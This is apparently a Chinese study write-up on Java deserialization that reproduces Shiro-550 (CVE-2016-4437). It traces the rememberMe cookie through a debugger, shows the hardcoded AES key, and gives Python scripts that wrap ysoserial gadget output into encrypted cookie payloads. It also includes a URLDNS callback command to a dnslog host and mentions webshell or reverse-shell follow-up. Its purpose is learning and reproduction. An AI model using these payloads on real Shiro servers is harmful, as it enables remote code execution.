不涉及太深,大师傅们写的很详细了,没必要再去抄下来了,写上自己的复现过程及理解就行
本篇所有代码及工具均已上传至gayhub:https://github.com/yq1ng/Java
[TOC]
初窥反序列化
Serializable与Deserialize的实现
- 实现接口
Serializable
/Externalizable
(Externalizable
其实也是继承了Serializable
) java.io.ObjectOutputStream.writeObject( ObjectOutputStream stream )
:将所有 对象的类 , 类签名 , 非瞬态(transient
关键词标记的属性)和非静态字段的值 写入到数据流中java.io.ObjectInputStream.readObject( ObjectInputStream stream )
:读取序列化数据中各个字段的数据并分配给新对象的相应字段来恢复状态,反序列化过程中 , 需要将重构的对象强制转换成预期的类型
简单的序列化与反序列化的实现
需要序列化的类:
package com.yq1ng.BasicsSerialization;
import java.io.Serializable;
/**
* @author ying
* @Description
* @create 2021-06-28 6:16 PM
*/
public class helloWord implements Serializable {
// 通过此属性判断序列化和反序列爱护是否为同一个类
// 一般手动指定,如未指定值的话 Java 会根据类各种信息生成一个值
// 官方强烈建议自定义值,因为默认计算的值会对类信息高度敏感
// 而类详细信息可能会根据编译器的实现而有所不同 . 因此可能在反序列化期间抛出意外的 InvalidClassExceptions 异常
static final long serialVersionUID = 1L;
public String name = "yq1ng";
public String hello(String name){
String helloUser = "Hello " + name + " ~";
return helloUser;
}
}
package com.yq1ng.BasicsSerialization;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
/**
* @author ying
* @Description
* @create 2021-06-28 6:19 PM
*/
public class testSerializable {
public static void main(String[] args) throws IOException {
helloWord hello = new helloWord();
// 创建文件输出流
FileOutputStream fileOutputStream = new FileOutputStream("F:\\study\\Java\\Shiro\\环境\\Java反序列化基础\\src\\main\\java\\com\\yq1ng\\BasicsSerialization\\testSerializable.ser");
// 创建对象输出流,将序列化数据输出至文件流
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
// 序列化方法
outputStream.writeObject(hello);
outputStream.close();
fileOutputStream.close();
}
}
运行后生成序列化文件保存在本地,使用xxd查看文件内容
其中ACED
是序列化字符特征值,0005
为 Java 序列化版本,一般都是5。更详细的可以用RMI协议分析一文中的SerializationDumper工具来查看,这里不再赘述,有兴趣的可以看看最后参考的第一篇文章
接着是反序列化
package com.yq1ng.BasicsSerialization;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
/**
* @author ying
* @Description
* @create 2021-06-28 6:27 PM
*/
public class testDeserializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("F:\\study\\Java\\Shiro\\环境\\Java反序列化基础\\src\\main\\java\\com\\yq1ng\\BasicsSerialization\\testSerializable.ser");
ObjectInputStream objIns = new ObjectInputStream(fileInputStream);
// 反序列化的强制转换(readObject 前面提到过)
helloWord hello = (helloWord) objIns.readObject();
fileInputStream.close();
objIns.close();
System.out.println(hello.name);
System.out.println(hello.hello(hello.name));
}
}
恶意的反序列化例子
反序列化漏洞最终追溯到的函数一般都会到readObject()
上,具体介绍见官方文档,第一段说的是可以重写readObject()
,用户自定义的会将默认readObject()
覆盖掉,且自定义时没有任何限制
写一个恶意readObject()
来弹计算器试试
package com.yq1ng.DeserializationExpDom;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
/**
* @author ying
* @Description
* @create 2021-06-28 10:19 PM
*/
public class hello implements Serializable {
static final long serialVersionUID = 1L;
public String name = "yq1ng";
hello(){
System.out.println("构造函数。。。");
}
public String hello(String name){
String helloUser = "Hello " + name + " ~";
return helloUser;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 调用默认readObject()
ois.defaultReadObject();
// 上一章的命令执行函数还记得吗
Runtime.getRuntime().exec("calc.exe");
System.out.println("Successfully eject the computer ~");
}
}
package com.yq1ng.DeserializationExpDom;
import com.yq1ng.BasicsSerialization.helloWord;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
/**
* @author ying
* @Description
* @create 2021-06-28 10:26 PM
*/
public class ExpSerialization {
public static void main(String[] args) throws IOException {
hello hello = new hello();
FileOutputStream fileOutputStream = new FileOutputStream("F:\\SerializableExp.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(hello);
outputStream.close();
fileOutputStream.close();
}
}
package com.yq1ng.DeserializationExpDom;
import com.yq1ng.BasicsSerialization.helloWord;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
/**
* @author ying
* @Description
* @create 2021-06-28 10:25 PM
*/
public class ExpDeserializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("F:\\SerializableExp.ser");
ObjectInputStream objIns = new ObjectInputStream(fileInputStream);
hello hello = (hello) objIns.readObject();
fileInputStream.close();
objIns.close();
System.out.println(hello.name);
System.out.println(hello.hello(hello.name));
}
}
成功弹出计算器。和php一样,反序列化时构造函数并不会被执行
Shiro-550(CVE-2016-4437)
Shiro快速入门
学框架的漏洞怎么滴也要了解框架的基本使用吧,先丢官网:http://shiro.apache.org/
官网10分钟入门教程:http://shiro.apache.org/10-minute-tutorial.html
快速入门地址:https://blog.csdn.net/qq_29051413/article/details/106441028
漏洞概述
官方链接:https://issues.apache.org/jira/browse/SHIRO-550
简单说就是rememberMe
cookie 值是AES加解密的,但是其密匙是硬编码,攻击者可以创建恶意对象进行反序列化攻击
环境搭建
下载Shiro:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
idea打开 samples\web
,编辑pom.xml
,将jstl
设置为1.2
,添加commons-collections:4.0
(食用4.0只是为了反序列化攻击时更为简单点),接着下载Shiro源码,后面调试方便,然后就可以冲了
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<!-- Serialization -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
漏洞检测
先检测框架,发送一个带有rememberMe
的cookie,shiro会返回一个rememberMe
漏洞检测这个方式较多,burp的ShiroScanner就很好用,打开被动扫描即可,项目地址:https://github.com/amad3u4/ShiroScanner/
使用综合工具利用漏洞
这个就更多了哈哈哈,gayhub随便翻翻就能用
后面会使用ysoserial
漏洞分析
看官方漏洞详情说是漏洞点出现在**CookieRememberMeManager
**,idea全局搜索(一定要下载源码哦,我就掉坑里了),按Alt+7
查看此类组成元素,大致分析其功能
加密
先跟一遍 rememberMe 加密流程,进 rememberSerializedIdentity 函数,使用Ctrl+Alt+Shift+F7
对此函数进行回溯查找
再往上跟进几层,来到onSuccessfulLogin()
,此处打上断点。为啥?成功登陆了,就该 rememberMe 了鸭。输入正确账户密码进行登陆,并勾选 rememberMe
首先 使用forgetIdentity()
构造 request 和 response,并将Cookie内的值设置为空,也就是清除旧的身份
然后调用rememberIdentity()
开始保存新的身份
rememberIdentity
使用getIdentityToRemember()
获取用户身份,接着跟进rememberIdentity()
跟进convertPrincipalsToBytes
,查看其如何转换信息
先序列化在进行加密,现跟进getCipherService()
查看如何获取密匙
有 get 就应该有对应的 se t方法,Ctrl+f
与回溯法找一找
找到了硬编码的key,然后返回,进入encrypt()
在473行将序列化后的root进行加密,继续跟进encrypt()
此处初始化了 iv ,并调用重载encrypt()
,跟进 generateInitializationVector()
看看如何初始化 iv
密匙为128位==8字节,跟进ensureSecureRandom()
在java/security/SecureRandom.java:getInstance()
处打断点,跟进getDefaultSecureRandom()
随机算法为:SHA1PRNG
SecureRandom 是强随机数生成器,进去看看
可以返回了
红框处将随机生成的值装到 iv 里面,既然 iv 是随机的,解密咋办?接着往下看,先回到encrypt()
处
加密后返回 byte 数组,至此,转换用户信息完成。梳理一下convertPrincipalsToBytes()
将用户身份进行序列化,然后AES
加密,加密模式为CBC
,填充为PKCS5Padding
,key是Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")
,iv
为随机生成的16为数值。返回结果 bytes
是 iv
+加密后字符串
。
填充可以看:Java安全之安全加密算法
接着跟进rememberSerializedIdentity(subject, bytes)
没啥了,就是把加密后的字符串 base64 加密以下写到 cookie 里面
解密
跟踪加密时有org/apache/shiro/mgt/AbstractRememberMeManager.encrypt()
这么个加密函数,再去AbstractRememberMeManager
类里看看
回溯此方法,在org/apache/shiro/mgt/DefaultSecurityManager.getRememberedPrincipals()
处打断点,带着登陆后的 cookie 随便访问一个页面(如果burp发送后idea未响应直接跳转到相应页面则把请求头里的Upgrade-Insecure-Requests: 1
去掉即可命中断点,坑我许久)
跟进getRememberedSerializedIdentity(subjectContext)
取值,base64解码。跳出函数,跟进convertBytesToPrincipals(bytes, subjectContext)
跟进解密
继续跟,其实和加密一样,只不过解密是反着来的,但是还记得前面的问题嘛,iv 是随机的
加密时将 iv 写到了 bytes 的前 16 位,这里将提取前 16 位作为 iv,所以可以成功解密鸭(似乎在说废话,加密的时候就能看出来哈哈哈),跳出解密,跟进deserialize(bytes)
反序列化可以看到readObject()
了,由于整个加解密过程没有任何过滤,所以构造恶意类即可执行命令
利用 ysoserial 攻击
工具不多介绍,Java反序列化神器:https://github.com/frohoff/ysoserial
其gadget可以看ysoserial payload分析
commons-collections 4.0
搭建环境时指定了cc版本是4.0,这个版本利用较为简单,使用 ysoserial 的 CommonsCollections2即可完成攻击
加解密脚本参考:https://www.t00ls.net/articles-56799.html
# -*- coding: utf-8 -*-
# @Author: yq1ng
# @Date: 2021-06-30 00:12:27
# @Last Modified by: yq1ng
# @Last Modified time: 2021-06-30 00:13:01
import sys
import base64
import uuid
from random import Random
import subprocess
import re
from Crypto.Cipher import AES
def encode_rememberme(command): # Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的remember Me内容
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command],
stdout=subprocess.PIPE) #执行的命令
BS = AES.block_size # aes数据分组长度为128 bit
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() # padding算法
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #kPH+bIxk5D2deZiIxcaaaA== 泄露的key https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA
iv = uuid.uuid4().bytes #生成一个随机的UUID
mode = AES.MODE_CBC
encryptor = AES.new(key, mode, iv)
file_body = pad(popen.stdout.read()) #pad('java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 118.25.69.**:6666')
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) #使用密钥进行AES加密 Base64加密
print('rememberme=%s'%base64_ciphertext,'\n')
return base64_ciphertext
def decode_rememberme(payload): #remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化
with open("key.txt", "r") as key:
key = 'kPH+bIxk5D2deZiIxcaaaA=='
mode = AES.MODE_CBC
IV = payload[:16] # shiro利用arraycopy()方法将随机的16字节IV放到序列化后的数据前面,取前16字节作为iv
encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
remember_bin = encryptor.decrypt(payload[16:])
remember_bin = remember_bin.decode('unicode-escape')
print(remember_bin)
pattern = re.compile(r'((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}')
ip = re.search(pattern, remember_bin)
ceye = re.search('(\w+)?\.\w+\.ceye.io',remember_bin,re.I)
dnslog = re.search('(\w+)?\.\w+\.dnslog.cn',remember_bin,re.I)
burp = re.search('(\w+)?\.\w+\.burpcollaborator.net',remember_bin,re.I)
if ip:
print('The key is %s. The ip is %s'%(key,ip))
return ip
elif ceye:
print('The key is %s. The ceye is %s'%(key,ceye))
return ceye
elif dnslog:
print('The key is %s. The dnslog is %s'%(key,dnslog))
return dnslog
elif burp:
print('The key is %s. The burp is %s'%(key,burp))
return burp
if __name__ == '__main__':
payload = encode_rememberme("calc")
with open("payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
isOutput = input('需要输出反序列化结果吗(y or n)')
if isOutput == 'y':
fpw = open("payload.cookie", "r")
payload = fpw.readline()[11:].split("\n")[0].encode('utf-8')
print(payload)
payload = base64.b64decode(payload)
decode_rememberme(payload)
else:
exit(0)
commons-collections 3.2.1
默认shiro的commons-collections版本为3.2.1,但是 ysoserial 不支持cc3.2.1,可以先探测是否出网,使用 ysoserial 的 URLDNS gadget,此gadget不需要其他类的支持。加密脚本如下,参考:shiro反序列化(shiro-550与shiro-721)–ConsT27
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, IV)
payload=base64.b64decode(sys.argv[1])
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload=pad(payload)
print(base64.b64encode(IV + encryptor.encrypt(payload)))
使用java -jar ./ysoserial.jar URLDNS "http://w01mdf.dnslog.cn" |base64|sed ':label;N;s/\n//;b label'
生成payload,在用脚本加密
可以出网就可以下载远程 webshell 或者反弹 shell
漏洞修复
- 升级
- 自定义密匙
参考
Java 反序列化漏洞(3) – 初探 Java 反序列化漏洞以及序列化数据分析